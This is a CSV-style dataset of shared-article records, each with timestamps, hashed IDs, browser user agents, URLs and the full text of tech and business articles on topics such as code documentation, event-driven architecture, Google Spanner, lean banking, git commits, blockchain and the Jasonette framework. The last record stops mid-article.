1487127440,CONTENT SHARED,1469580151036142903,-4465926797008424436,1603046601233039757,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.37 Safari/537.36",SP,BR,HTML,https://dev.to/raddikx/dont-document-your-code-code-your-documentation,Don't document your code. Code your documentation.,"This is one of the great discussions among developers: document or not document your code? Is it worth writing documentation in your code? I thought this topic was completely overcome and it was clear that, except some few occasions (implementing a public API), documentation was not necessary. Until I saw a code review where the reviewer pointed out the lack of documentation as an issue. Really? I was one of those who used to document my code... or at least I tried. I was so convinced that code had to be documented. As a backup or reminder for my future myself or any other developer luck enough to end up in my code. Although I always realized it was always out of date. And by then, I already wondered: what is the purpose of documenting the code if the documentation is always outdated? Until several years ago I read the book Clean Code . I saw it ""crystal clear"", there is no need to document your code if you code your documentation. With this I mean to use meaningful variable and method names. If the name of the member already tells you the information that is keeping and the name of the method tells you what the method is doing you can end up reading the code without the need to figure out or document what your code is doing. Extract as much code as you can to methods. Even if you end up having a method with only 3 or 4 lines. Each method should do one thing and only one thing. And the name must explain what it does. Each member of a class must have a name that only reading it you know which information you can find there. Same for variables and input parameters. Following this simple steps you can have a code you can read, having the documentation right in the same code. Yes, I know, there are those times you have to implement code with a complex algorithm or you are copying a code you found on Internet which might be complex, you might not understand and you might not extract in simple and meaningful methods. Yes, there are always exception. What do you think? Do you document or write the documentation in your code? This post was originally published in Medium",en
1487154848,CONTENT SHARED,8729086959762650511,7645894863578715801,7395860765143290921,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0,SP,BR,HTML,https://martinfowler.com/articles/201701-event-driven.html,"What do you mean by ""Event-Driven""?","Towards the end of last year I attended a workshop with my colleagues in ThoughtWorks to discuss the nature of ""event-driven"" applications. Over the last few years we've been building lots of systems that make a lot of use of events, and they've been often praised, and often damned. Our North American office organized a summit, and ThoughtWorks senior developers from all over the world showed up to share ideas. The biggest outcome of the summit was recognizing that when people talk about ""events"", they actually mean some quite different things. So we spent a lot of time trying to tease out what some useful patterns might be. This note is a brief summary of the main ones we identified. Event Notification This happens when a system sends event messages to notify other systems of a change in its domain. A key element of event notification is that the source system doesn't really care much about the response. Often it doesn't expect any answer at all, or if there is a response that the source does care about, it's indirect. There would be a marked separation between the logic flow that sends the event and any logic flow that responds to some reaction to that event. Event notification is nice because it implies a low level of coupling, and is pretty simple to set up. It can become problematic, however, if there really is a logical flow that runs over various event notifications. The problem is that it can be hard to see such a flow as it's not explicit in any program text. Often the only way to figure out this flow is from monitoring a live system. This can make it hard to debug and modify such a flow. The danger is that it's very easy to make nicely decoupled systems with event notification, without realizing that you're losing sight of that larger-scale flow, and thus set yourself up for trouble in future years. The pattern is still very useful, but you have to be careful of the trap. A simple example of this trap is when an event is used as a passive-aggressive command. This happens when the source system expects the recipient to carry out an action, and ought to use a command message to show that intention, but styles the message as an event instead. An event need not carry much data on it, often just some id information and a link back to the sender that can be queried for more information. The receiver knows something has changed, may get some minimal information on the nature of the change, but then issues a request back to the sender to decide what to do next. Event-Carried State Transfer This pattern shows up when you want to update clients of a system in such a way that they don't need to contact the source system in order to do further work. A customer management system might fire off events whenever a customer changes their details (such as an address) with events that contain details of the data that changed. A recipient can then update it's own copy of customer data with the changes, so that it never needs to talk to the main customer system in order to do its work in the future. An obvious down-side of this pattern is that there's lots of data schlepped around and lots of copies. But that's less of a problem in an age of abundant storage. What we gain is greater resilience, since the recipient systems can function if the customer system is becomes unavailable. We reduce latency, as there's no remote call required to access customer information. We don't have to worry about load on the customer system to satisfy queries from all the consumer systems. But it does involve more complexity on the receiver, since it has to sort out maintaining all the state, when it's usually easier just to call the sender for more information when needed. Event-Sourcing The core idea of event sourcing is that whenever we make a change to the state of a system, we record that state change as an event, and we can confidently rebuild the system state by reprocessing the events at any time in the future. The event store becomes the principal source of truth, and the system state is purely derived from it. For programmers, the best example of this is a version-control system. The log of all the commits is the event store and the working copy of the source tree is the system state. Event-sourcing introduces a lot of issues, which I won't go into here, but I do want to highlight some common misconceptions. There's no need for event processing to be asynchronous, consider the case of updating a local git repository - that's entirely a synchronous operation, as is updating a centralized version-control system like subversion. Certainly having all these commits allows you to do all sorts of interesting behaviors, git is the great example, but the core commit is fundamentally a simple action. Another common mistake is to assume that everyone using an event-sourced system should understand and access the event log to determine useful data. But knowledge of the event log can be limited. I'm writing this in an editor that is ignorant of all the commits in my source tree, it just assumes there is a file on the disk. Much of the processing in an event-sourced system can be based on a useful working copy. Only elements that really need the information in the event log should have to manipulate it. We can have multiple working copies with different schema, if that helps; but usually there should be a clear separation between domain processing and deriving a working copy from the event log. When working with an event log, it is often useful to build snapshots of the working copy so that you don't have to process all the events from scratch every time you need a working copy. Indeed there is a duality here, we can look at the event log as either a list of changes, or as a list of states. We can derive one from the other. Version-control systems often mix snapshots and deltas in their event log in order to get the best performance. [1] Event-sourcing has many interesting benefits, which easily come to mind when thinking of the value of version-control systems. The event log provides a strong audit capability (accounting transactions are an event source for account balances). We can recreate historic states by replaying the event log up to a point. We can explore alternative histories by injecting hypothetical events when replaying. Event sourcing make it plausible to have non-durable working copies, such as a Memory Image . Event sourcing does have its problems. Replaying events becomes problematic when results depend on interactions with outside systems. We have to figure out how to deal with changes in the schema of events over time. Many people find the event processing adds a lot of complexity to an application (although I do wonder if that's more due to poor separation between components that derive a working copy and components that do the domain processing). CQRS Command Query Responsibility Segregation (CQRS ) is the notion of having separate data structures for reading and writing information. Strictly CQRS isn't really about events, since you can use CQRS without any events present in your design. But commonly people do combine CQRS with the earlier patterns here, hence their presence at the summit. The justification for CQRS is that in complex domains, a single model to handle both reads and writes gets too complicated, and we can simplify by separating the models. This is particularly appealing when you have a difference in access patterns, such as lots of reads and very few writes. But the gain for using CQRS has to be balanced against the additional complexity of having separate models. I find many of my colleagues are deeply wary of using CQRS, finding it often misused. Making sense of these patterns As a sort of software botanist, keen to collect samples, I find this a tricky terrain. The core problem is confusing the different patterns. On one project the capable and experienced project manager told me that event sourcing had been a disaster - any change took twice the work to update both the read and write models. Just in that phrase I can detect a potential confusion between event-sourcing and CQRS - so how can I figure out which was culprit? The tech lead on the project claimed the main problem was lots of asynchronous communications, certainly a known complexity-booster, but not one that's a necessary part of either event-sourcing or CQRS. Furthermore we have to beware that all these patterns are good in the right place and bad when put on the wrong terrain. But it's hard to figure out what the right terrain is when we conflate the patterns. I'd love to write some definitive treatise that sorts all this confusion out, and gives solid guidelines on how to do each pattern well, and when it should be used. Sadly I don't have the time to do it. I write this note in the hope it will be useful, but am quite aware that it falls well short of what is really needed.",en
1487157951,CONTENT SHARED,-6623581327558800021,599868086167624974,-6471874325422590486,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,https://www.wired.com/2017/02/spanner-google-database-harnessed-time-now-open-everyone/,"Spanner, the Google Database That Mastered Time, Is Now Open to Everyone","About a decade ago, a handful of Google's most talented engineers started building a system that seems to defy logic. Called Spanner, it was the first global database, a way of storing information across millions of machines in dozens of data centers spanning multiple continents, and it now underpins everything from Gmail to AdWords, the company's primary moneymaker. But it's not just the size of this creation that boggles the mind. The real trick is that, even though Spanner stretches across the globe, it behaves as if it's in one place. Google can change company data in one part of this database-running an ad, say, or debiting an advertiser's account-without contradicting changes made on the other side of the planet. What's more, it can readily and reliably replicate data across multiple data centers in multiple parts of the world-and seamlessly retrieve these copies if any one data center goes down. For a truly global business like Google, such transcontinental consistency is enormously powerful. Before Spanner, this didn't seem possible. Machines couldn't keep databases consistent without constant and heavy communication, and communication across the globe took much too long. You know, the speed of light and all that. Google's engineers needed something like the the ansible , a fictional device that first appeared in Ursula Le Guin's 1966 novel Rocannon's World and became a sci-fi trope. The ansible can instantly send information across any distance, defying both time and space. Spanner isn't the ansible. It can't shrink space. But it works because those engineers found a way to harness time. No one else has ever built a system like this. No one else has taken hold of time in the same way. And now Google is offering this technology to the rest of the world as a cloud computing service . Google believes this can provide some added leverage in its battle with Microsoft and Amazon for supremacy in the increasingly important cloud computing market, just because Spanner is unique. And some agree. ""If they offer it, people will want it, and people will use it,"" says Peter Bailis, an assistant professor of computer science at Stanford University who specializes in massively distributed software systems. But as others point out: Few businesses have the same needs as Google. Trusting Time In the past, if you built a system that spanned hundreds of machines and multiple data centers, you followed an important rule: Don't trust time. If a system involved communication between many machines in many different places, time would vary from machine to machine, just because time-precise time-is a hard thing to keep. Services like the Network Time Protocol aimed to provide machines with a common reference point. But this worked only so well, mainly because networks are slow. It takes time to send the time. For Google, this was a problem. If a database spanned multiple regions, it couldn't ensure that transactions in one part of the world lined up with transactions in another. It couldn't get a truly global picture of its operations. It couldn't seamlessly replicate data cross regions or quickly retrieve replicated data when it was needed. So Google's top engineers found a way to trust time. Part of the trick is that they equipped Google's data centers with a series of GPS receivers and atomic clocks . The GPS receivers, much like the one in your cell phone, grab the time from various satellites orbiting the globe, while the atomic clocks keep their own time. Then they shuttle their time readings to master servers in each data center. These masters constantly trade readings in an effort to settle on a common time. A margin of error still exists, but thanks to so many readings, the masters can bootstrap a far more reliable timekeeping service. ""This gives you faster-than-light coordination between two places,"" says Peter Mattis, a former Google engineer who founded CockroachDB, a startup working to build an open source version of Spanner . Google calls this timekeeping technology TrueTime, and only Google has it. Drawing on a celebrated research paper Google released in 2012, Mattis and CockroachDB have duplicated many other parts of Spanner-but not TrueTime. Google can pull this off only because of its massive global infrastructure. A Changing World To be sure, a few others could build a similar service, namely Amazon and Microsoft. But they haven't yet. With help from TrueTime, Spanner has provided Google with a competitive advantage in so many different markets. It underpins not only AdWords and Gmail but more than 2,000 other Google services, including Google Photos and the Google Play store. Google gained the ability to juggle online transactions at an unprecedented scale, and thanks to Spanner's extreme form of data replication, it was able to keep its services up and running with unprecedented consistency. Now Google wants a different kind of competitive advantage in the cloud computing market. It hopes to convince customers that Spanner provides an easier way of running a global business, a easier way of replicating their data across multiple regions and, thus, guard against outages. The rub is that few businesses are truly global. But Google is betting its new service will give customers the freedom to expand as time goes on. Among them is JDA, a company that helps businesses oversee their supply chains, which is now testing Spanner. ""The volume of data-and velocity with which that data is coming at us-is amplifying significantly,"" says JDA global vice president John Sarvari. Spanner could also be useful in the financial markets, allowing big banks to more efficiently track and synchronize trades happening across the planet. And Google says it's already in talks with large financial institutions about this kind of thing. Traditionally, many banks were wary of handling trades in the cloud for reasons of security and privacy. But those attitudes are softening. A few years ago, Spanner was something only Google needed. Now, Google is banking on change.",en
1487178123,CONTENT SHARED,-5845411843260276924,5660542693104786364,7452795821770584842,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://www.uk.capgemini-consulting.com/blog/retail-banking/2016/09/lean-and-banking-the-pot-of-gold-waiting-to-be-discovered,Lean and banking: the pot of gold waiting to be discovered | Blog post,"Banks are identifying areas for efficiency gains as they update their strategy and vision; aligning business to current market trends and legislation. The fast pace and complex environment, within which banks operate, can often lead to the use of temporary mechanisms to bypass issues, as opposed to identifying and remedying the root cause of the issue. This oversight is something which Lean principles could address. What is the philosophy? The philosophy of Lean originates from the 1940s and is based on Toyota's production system which has completely changed the production process of automobiles - from batch production to single piece flow, while removing waste and reducing costs. The philosophy of Lean has since been adopted in many other sectors, with the principles applied across manufacturing, as we as translated to the services sector. It's quite simple - every industry offers a product or a service, and a process is required to produce it. So even if you are not manufacturing, the principles can still be applied. Let's take the 'current account creation' process (below) as an example: The process involves multiple departments and ends with a customer opening an account. This creates value for the customer, but in doing so, there are costs associated with the process. Banks generally follow a loss leader pricing strategy. That is, they provide certain products such as current accounts at a cost below their market value with the understanding that these will lead to the sales of more profitable products, such as loans and mortgages. What is the benefit to the bank and the customer? This strategy highlights the importance of driving down costs for low revenue generating processes, paving the way for Lean continuous improvement within the banking industry. Let's consider possible optimisations based on lean principles, looking at the process outlined above; once due diligence has been conducted, is there really a need for a face to face appointment? Perhaps replacing this could be replaced by a virtual meeting, an improvement already being explored within the banking industry? This would reduce the lead time and remove the need for customers to travel to branches. How about the secondary check conducted by the branch manager, is there really a need for this? If enough authorisation and responsibility is given to the personal banker during their due diligence and verification checks, could the secondary check step be removed from the process? This in turn again reduces the lead time for the process which means that the customer will have an account created and ready within quicker time period. The application of the Lean philosophy within a bank drives continuous improvement, eliminates waste, adds value and reduces costs. Various tools and techniques are used, and employees are coached through the Lean transformation journey. This training also leads to improved levels of morale, as individuals are encouraged to continuously solve problems with a greater sense of autonomy. There are clear examples of banks reducing operating costs, for example, Scotiabank's insight into operating cost reduction . However, can often result in 'idle' projects; costs may reduce if implemented well, but these result in one off benefits. If there is no focus on maintaining, sustaining, and embedding continuous improvement, costs soon increase again. This is where the adoption of lean principles really pays off. A driven workforce looking to continuously improve processes, and ways of working, results in more innovation and proactive risk management. In addition, KPIs are aligned to the business strategy and are cascaded to management to ensure that performance is monitored more effectively. Embedding a Lean culture within banks Key to the sustainability of Lean principles are willing adoption and sustainable embedding, here are five recommendations for banks to assist with this: 1. Engage with the board: understand the board's strategy and vision moving forward. Any proposed changes must be articulated in line with the strategy; senior-buy and messaging will prove invaluable when embedding Lean principles 2. Diagnose the end-to-end process: map processes (as-is) to determine the current state of affairs. Engage with stakeholders and determine waste based on TIMWOODS , highlighting non-value adding elements of the process. In addition, review the business' KPIs 3. Design new ways of working: develop future state (to-be) process maps with stakeholders. Conduct problem solving sessions to eliminate problems and design new KPIs 4. Pilot a new process and implement change: pilot the new process using the principles of 'Plan, Do, Check, Act' (PDCA). Once the pilot runs prove to be successful, look to implement and standardise the new way of working. Typical implementation changes could involve visual management, smoothing workflow and reducing variation 5. Sustain and continuous improvement: This is the final and most important step. Employees should aim to continuously use the various lean tools and techniques to continuously improve ongoing performance. This final step is imperative, if Lean is not embedded as the new way of working, the transformation efforts become a one off improvement, rather than the intended change in culture. This can be achieved by training all employees with various lean tools and techniques. Transformation maps (T-Maps) and 100 day plans can support the need to continuously improve ways of working. Communication cells can also be set up at each level allowing the continuous monitoring of performance and improvement initiatives. Equally, ' lean audits ' can be held at each level by all management/hierarchy to ensure that the organisation is still continuously improving. This empowers employees and ensures that performance is visible throughout the organisation. The financial industry is advancing in line with technological changes while remaining focussed on various legislative changes, which are enforcing new ways of working. However, we need to remember that behind a new way of working sits a process. Much of banks' focus is on innovation, but we should not ignore the inefficient processes that run in the background. Within these processes lie millions of pounds which could be saved by banks all over the UK. If cost saving becomes a natural subconscious way of working, the benefits are truly priceless.",en
1487184049,CONTENT SHARED,-8473322535064919980,-8845298781299428018,3264443726869427854,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2017/02/15/ibms-bringing-machine-learning-to-the-mainframe/,IBM wants to bring machine learning to the mainframe,"IBM wants to bring machine learning to its traditional mainframe customers, and eventually to any technology with large data stores hidden behind a company firewall in what IBM calls a ""private cloud."" Yes mainframes, those ginormous computing machines from an earlier age, are still running inside some of the world's biggest companies including banks, insurance companies, airlines and large retailers. In fact, according to IBM, a modern IBM z Systems mainframe is capable of processing up to 2.5 billion transactions per day - the equivalent of roughly 100 Cyber Mondays every day. IBM wants to bring some core Watson machine learning smarts to its mainframe clients - and eventually to any computing done inside the data center - to allow them to take advantage of all that data in a more modern machine learning context. ""Over 90 percent of the data in the world can't be Googled. It resides behind firewalls on private clouds. How do we automate intelligence [for these data sources]?,"" IBM analytics general manager Rob Thomas postulated. IBM wants to provide data scientists with the same types of machine learning capabilities in a mainframe environment that they are used to finding in the cloud. The goal is to automate the often monotonous work of creating, testing and deploying analytical models. The solution works with popular open source tools including languages like Scala, Java and Python, and machine learning frameworks like Apache SparkML, TensorFlow and H2O. It's also designed to work with virtually any data type the customer brings to the table. What IBM is offering besides integrating the open source tools, the secret sauce if you will, is Cognitive Assist for Data Science from IBM Research. It helps choose the best algorithm for the data by checking it against a list of available algorithms and selecting the one that best meets the data scientist's needs, based on the model type and how fast he or she needs the results. The process should get smarter over time as it ingests more data and sees how the algorithms behave against different data sources. ""This allows data scientists to build a model and IBM Machine Learning technology will choose the best algorithm. It then builds a feedback loop because as more data comes in, the algorithm gets updated and gets smarter,"" he said. While the earliest forms of what we call artificial intelligence and machine learning were done on mainframes decades ago, Thomas says this set of tools allows companies running mainframes to take advantage of machine learning technologies in a much more cost-effective way, partly because of open source, and partly because of the algorithms IBM has built to do much of the manual work for them. He also argues that processing this data in place on the mainframes using these tools is much more cost-effective and practical than it would be to move the same data to the cloud. This capability will be available for mainframe customers later this quarter. IBM plans to bring machine learning to other data sources sitting inside data centers over time.",en
1487246811,CONTENT SHARED,-4029704725707465084,6013226412048763966,-6569695881431984742,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://www.cnbc.com/2016/12/21/former-google-career-coach-shares-a-useful-visual-trick.html,Former Google career coach shares a visual trick for figuring out what to do with your life,"If you want 2017 to be an exciting year, design it that way. That's the advice of former Google career coach and job strategist Jenny Blake , who has helped more than a thousand people improve their work lives. She recommends creating a ""mind map,"" a visual diagram of your interests and goals. Drawing one doesn't take long and could help you figure out the next project, hobby or career change that will make the new year happier and more successful, Blake says. ""My favorite way to brainstorm creatively, whether it's about values or setting goals for the new year, is through mind maps,"" Blake tells CNBC. To make one, write down the year at the center of a piece of paper, and then draw spokes with different themes that are important to you. For example, your spokes could be business, personal life, health and fitness, fun, or skill building. From each of those themes, draw additional spokes to connect the themes to ways you want to improve or experiment in that area. Blake recommends you ask yourself: ""What's important to me about that? And what does success look like?"" For example, in ""personal life,"" you could write, ""Meet up with a friend at least once a month"" or ""Take a music class."" The visual trick works because it helps you see the different ways you can improve, Blake writes in her book "" Pivot: The Only Move That Matters Is Your Next One ."" ""With mind mapping you are taking pen to paper, going old-school,"" Blake says. And if you're like many professionals who sit too much and stare too long at a computer, drawing might actually be fun. ""The goal is to break out of linear thinking,"" Blake says. ""Go broad. Go big. Go sideways, and then experiment to see which of your ideas is most likely to lead to a resonant next step."" Video by Andrea Kramar.",en
1487257346,CONTENT SHARED,-8627051188605351707,-4465926797008424436,-5996702544087841012,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.37 Safari/537.36",SP,BR,HTML,https://dev.to/gonedark/when-to-make-a-git-commit,When to make a Git Commit,"You don't have to look through too many commit histories on GitHub to see people are pretty terrible about making commits. Now I'm not going to talk about writing commit messages. Here's the post on that. I want to talk about the equally important topic of when to make commits. I get asked this a lot at conferences. Enough to where I made two rules I've continually put to the test. I make a commit when: Anytime I satisfy one of these rules, I commit that set of changes. To be clear, I commit only that set of changes. For example, if I had changes I may want to undo and changes that completed a unit of work, I'd make two commits - one containing the changes I may want to undo and one containing the changes that complete the work. I think the second rule is pretty straightforward. So let's tackle it first. Over the course of time, you'll make some changes you know will be undone. Be it a promotional feature, patch, or other temporary change someday soon you'll want to undo that work. If that's the case, I'll make these changes in their own commit. This way it's easy to find the changes and use git revert . This practice has proven itself time and again, I'll even commit changes I'm simply uncertain about in their own commit. So back to the first rule. I think generally most of us follow this rule. However, you don't have to scroll through too many repositories on GitHub to see that we're pretty bad with commits. The discrepancies come from how we define a unit of work . Let's start with how not to define a unit of work . A unit of work is absolutely not based on time. Making commits every X number of minutes, hours, or days is ridiculous and would never result in a version history that provides any value outside of a chronicling system. Yes, WIP commits are fine. But if they appear in the history of your master branch I'm coming for you! A unit of work is not based on the type of change. Making commits for new files separate from modified files rarely makes sense. Neither does any other type abstraction: code (e.g. JavaScript vs HTML), layer (e.g. Client vs API), or location (e.g. file system). So if a unit of work is not based on time or type , then what? I think it's based by feature . A feature provides more context. Therein making it a far better measurement for a unit of work . Often, implicit in this context are things like time and type , as well as the nature of the change. Said another way, by basing a unit of work by feature will guide you to make commits that tell a story. So, why not just make the first rule: I make a commit when I complete a feature ? Well, I think this a case where the journey matters. A feature can mean different things, even within the context of the same repository. A feature can also vary in size. With unit of work , you keep the flexibility to control the size of the unit . You just need to know how to measure . I've found by feature gives you the best commit. Enjoy this post? Check out my comprehensive video series Getting Git .",en
1487263968,CONTENT SHARED,3618205920179577598,5660542693104786364,-7424898710963348430,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://cantarinobrasileiro.com.br/blog/aplicativo-celcoin-oferece-a-possibilidade-de-trocar-bitcoins-por-credito-em-reais/?utm_source=akna&utm_medium=email&utm_campaign=Newsletter_16-02,Aplicativo Celcoin oferece a possibilidade de trocar bitcoins por crédito em reais,"O CEO e fundador do Celcoin, Marcelo França, explicou ao portal IT Fórum, que na prática o cliente pode trocar os bitcoins por crédito em dinheiro na plataforma e fazer todas as operações disponíveis no aplicativo, como recarga de celular, pagamento de contas, saques em dinheiro, e transferências para outros usuários da plataforma ou para contas em bancos.",pt
1487339269,CONTENT SHARED,6831941111848480366,5660542693104786364,-4042309088759228835,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://www.bankingtech.com/735552/amazon-looking-to-buy-capital-one/,"Amazon looking to buy Capital One? "" Banking Technology","Amazon is rumoured to be pondering the acquisition of Capital One. Banking Technology contacted both parties for a comment but received no response. Capital One, which pioneered the mass marketing of credit cards in the 1990s, is among the top ten bank holding companies in the US ranked by assets and deposits. The bank has 800+ domestic branches, including around ten Capital One Café locations (coffee-shop style), and over 2,000 ATMs. It also conducts business in Canada and the UK. In 2015, 62% of the company's revenues were from credit cards, 28% was from consumer banking, and 10% was from commercial banking. Its total assets in 2015 stood at $334 billion. Capital One is also one of the largest users of Amazon's AWS cloud in the financial services space. Capital One would bring Amazon a huge credit card portfolio, which seems to be a natural fit for its business. Neil O'Brien, former director of digital banking at Santander US, comments on the possible scenario: ""Owning more of the card payments value chain provides Amazon opportunity for cost reduction and more extended data analytics about consumer behaviour."" But that's not all. Capital One is also a fully-fledged bank. ""Amazon is already a merchant, payment processor and a credit card issuer. With the acquisition of Capital One, Amazon would also become the acquirer - i.e. the merchant's bank. It could offer this service to all of the merchants participating in its ecosystem. ""There has been speculation for a long time about a tech giant (GAFA - Google, Apple, Facebook, Amazon) buying a bank in the US, but the general sentiment was that banks were an undesirable target because of low margins and more importantly, high regulation."" However, the recent regulatory developments are putting an acquisition of a bank in a new light. Regulators in the US are taking interest in the large sums collectively kept on stored value cards and the associated mobile apps. ""The money stored on these cards - and any similar stored value accounts - are effectively the same as bank deposits and as the total value now exceeds the deposits at smaller US banks, regulators are seeing a need to apply oversight,"" O'Brien says. ""So, if regulation is going to be foisted on e-commerce companies anyway because of the high volume of 'deposits' they are holding, it makes sense to get ahead of the curve with a strategic acquisition of an entity that has the expertise to manage a regulated business. ""And if this goes ahead, it will start a trend for all the other 'deposit' holders out there."" So, it would be much more than just buying a customer base: ""a vertical integration play in card payments and the acquisition of a capability to manage the deposit base it has already accumulated"".",en
1487342224,CONTENT SHARED,6244532954645766056,5660542693104786364,-4042309088759228835,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://www.coindesk.com/3-big-blockchain-ideas-mit-working-right-now/,3 Big Blockchain Ideas MIT is Working on Right Now - CoinDesk,"When one of the world's most prestigious universities announces it will explore a controversial and often misunderstood subject best known for piquing the interests of thieves and speculators, people tend to take notice. That's what happened in July 2015, when the Massachusetts Institute of Technology (MIT) revealed it would embark on its Digital Currency Initiative (DCI) - led by a former White House advisor, no less. Work on the multifaceted world of blockchain tech now sits easily alongside transparent robots that eat real-world fish , solar nebula research, and other imaginative, futuristic projects in progress at the university. Part of MIT's Media Lab, DCI now has a team of 22 people and at least seven ongoing research projects, and it nurtures three startups that use cryptocurrencies and their underlying technology in a variety of ways. To date, the initiative has funded the work of bitcoin protocol developers, and has supported a range of research, going beyond bitcoin to partner with distributed ledger tech startup Ripple and developing enterprise data projects. DCI research director Neha Narula, who helps drive the initiative, told CoinDesk: ""We're doing a lot of things - too many things, arguably."" In this feature, CoinDesk looks at several notable DCI projects, spanning from how bitcoin's underlying technology can (or can't) shape the internet, to whether it can be augmented to offer more confidential yet auditable transactions. 1. Shattering online 'echo chambers' Among the grand ambitions of blockchain developers, there's perhaps no use case bigger than the idea the tech could one day reinvent the World Wide Web on which its payments now ride. It's no surprise then, that here, MIT is exploring how the technology might be applied to problems in online publishing, in particular, Narula said, where there has been a consolidation in who distributes content. She noted that one estimate says that 85% of traffic to news website comes from either Google or Facebook. ""In this election, we saw what happens when people get most of their news from just a couple of sources, and those sources have a strange algorithm showing people certain things. We're kind of living in echo chambers,"" Narula said. She and other MIT researchers have been looking into the potential impact of peer-to-peer hypermedia protocol IPFS and Blockstack - an attempt to create an internet built on the bitcoin blockchain. Both have a goal of putting control of information in the hands of users via the use of a blockchain. Narula noted that DCI will release a paper detailing their findings on the subject ""soon"". While these blockchain-related projects could potentially ease some of these problems, she expects that they won't be a panacea. ""The underlying problems are around the economics of the web and the way people get paid for content. It's advertising. It's clicks. It's views. In order to do that well, it seems as though these mega-platforms are incentivized to get bigger and bigger, and collect more and more users' data and not let it out,"" she said, adding: ""Until we have new ways of monetizing our content, we're going to be in trouble."" 2. Improving blockchain privacy Yet another big topic that's been the subject of R&D at MIT is privacy and confidentiality - long one of the weaker areas of the bitcoin protocol despite claims to the contrary. This is because public blockchains reveal information that anyone can trace - this is great from an auditability standpoint. Anyone can verify that a transaction actually occurred, for example. On the other hand, it stokes 'Big Brother' worries that the same tech used by bitcoin to evade governments could become a tool for surveillance. One DCI project, called 'Auditable Ledger', explores how to construct a ledger that bridges the best of both worlds in a banking context. Narula compared it to a system like confidential assets or confidential transactions, where user privacy is preserved, but auditors can still see enough information to verify details about the system as a whole - for example, that no one is adding to the money supply, which is supposed to be fixed. She added that the team is ""expanding the concept"" to cover banks using a ledger to issue their trades. ""We can ask questions about the system as a whole. If the housing market tanked 20%, we can figure out which banks would be underwater, which banks would be OK, that kind of thing,"" Narula said. 3. Building central bank currencies Another ""big"" project, in Narula's words, is for a central bank-backed cryptocurrency, though it was here that she expanded the least. DCI research scientist Robleh Ali, who formerly worked for the Bank of England , is now reportedly building a prototype for the project to see whether cryptocurrency could play a role in this arena. Narula noted that she hopes that this will be a way to explore further how privacy and auditability might slot together. MIT images via Facebook Digital Currency Initiative Fungibility MIT Privacy",en
1487345705,CONTENT SHARED,2277184202014276839,-5706287032724665714,1536755170726159771,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://medium.freecodecamp.com/how-to-build-cross-platform-mobile-apps-using-nothing-more-than-a-json-markup-f493abec1873?gi=65b1783a740,How to build cross-platform mobile apps using nothing more than a JSON markup,"For the past few months, I've been working on a new way to build cross-platform, native iOS and Android apps called Jasonette . It lets you describe an entire app with nothing but a single JSON markup. If your app consists entirely of JSON, it can be treated like any other data. And it can be served remotely from the cloud on-demand. The app logic no longer needs to be hardcoded on the device, and you can update it as much as you want just by updating your JSON on the server-side. Your app will be freshly loaded from the server every time you open it. Check out the video below for a quick intro: Jasonette has many different parts. You can express functions, templates, styles, and more all by using a JSON Markup . And as a result, you can write a super-sophisticated native mobile app in a fully Model - View - Controller manner. In this post I'll show you specifically the ""View"" part: How Jasonette expresses various cross-platform UI patterns in JSON. How it implements these JSON-to-Native mappings internally. Basic Structure Under the hood, Jasonette works similarly to a web browser. But instead of interpreting an HTML markup and drawing a web view, Jasonette fetches a JSON markup and constructs a native view, on-the-fly. The markup is just a JSON file that follows some predefined conventions . First of all, it starts with a $jason key, which has two children: head and body , and looks like this: Design Philosophy When I first started designing the JSON syntax for describing native views, I had a couple of constraints in mind: Native  - There's a reason why iOS and Android came up with their own native layout systems. The layout systems designed for the desktop era don't always translate well to the small device world. The syntax should express the underlying layout in as mobile native manner as possible. Cross platform  - Yet it needs to be cross platform. For example, iOS has something called autolayout and visual format language but these are not implemented natively on Android, so not the right solution. Simple yet expressive  - It should be easily expressed in a simple JSON format and easy to compose into a sophisticated structure. When you take a look at how most mobile apps are built, they all boil down to a small number of common interface patterns: Vertically scrolling list Horizontally scrolling list Absolute positioning Grid Let's take a look at the first three, since they are most widely used. 1. Sections - Describing scrolling lists The most frequently used UI pattern is scrolling lists . On Jasonette we call them sections . There are two types of sections: Vertical and Horizontal . Vertical sections scroll vertically, and horizontal sections horizontally. Implementation - Vertical Sections This is probably the most frequently used UI for displaying data on mobile devices. On iOS, Jasonette implements this with UITableView . On Android it's implemented with RecyclerView . On iOS, above JSON markup creates a UITableView with three UITableViewCells , each of which contains a UILabel , with corresponding text attributes. On Android, it creates a RecyclerView with three items, each of which is a TextView that displays the corresponding text attributes. All of these are constructed programmatically without any use of Storyboards (iOS) or XML layout files (Android) in order to make sure every detail is programmable dynamically. Implementation - Horizontal Sections Syntax-wise, horizontal sections are not much different, all you need to do is set the type as ""horizontal"" , and the items flow horizontally. Note: The syntax for the horizontal section is simple, but internally it's actually quite complex. Horizontal sections on iOS were implemented with UICollectionView . It's a well-known technique, but basically a horizontally scrolling UICollectionView is embedded into its parent UITableView (which scrolls vertically). And on Android, it's implemented in a similar manner, but using nested RecyclerViews instead. 2. Items - Describing layout within each scrolling 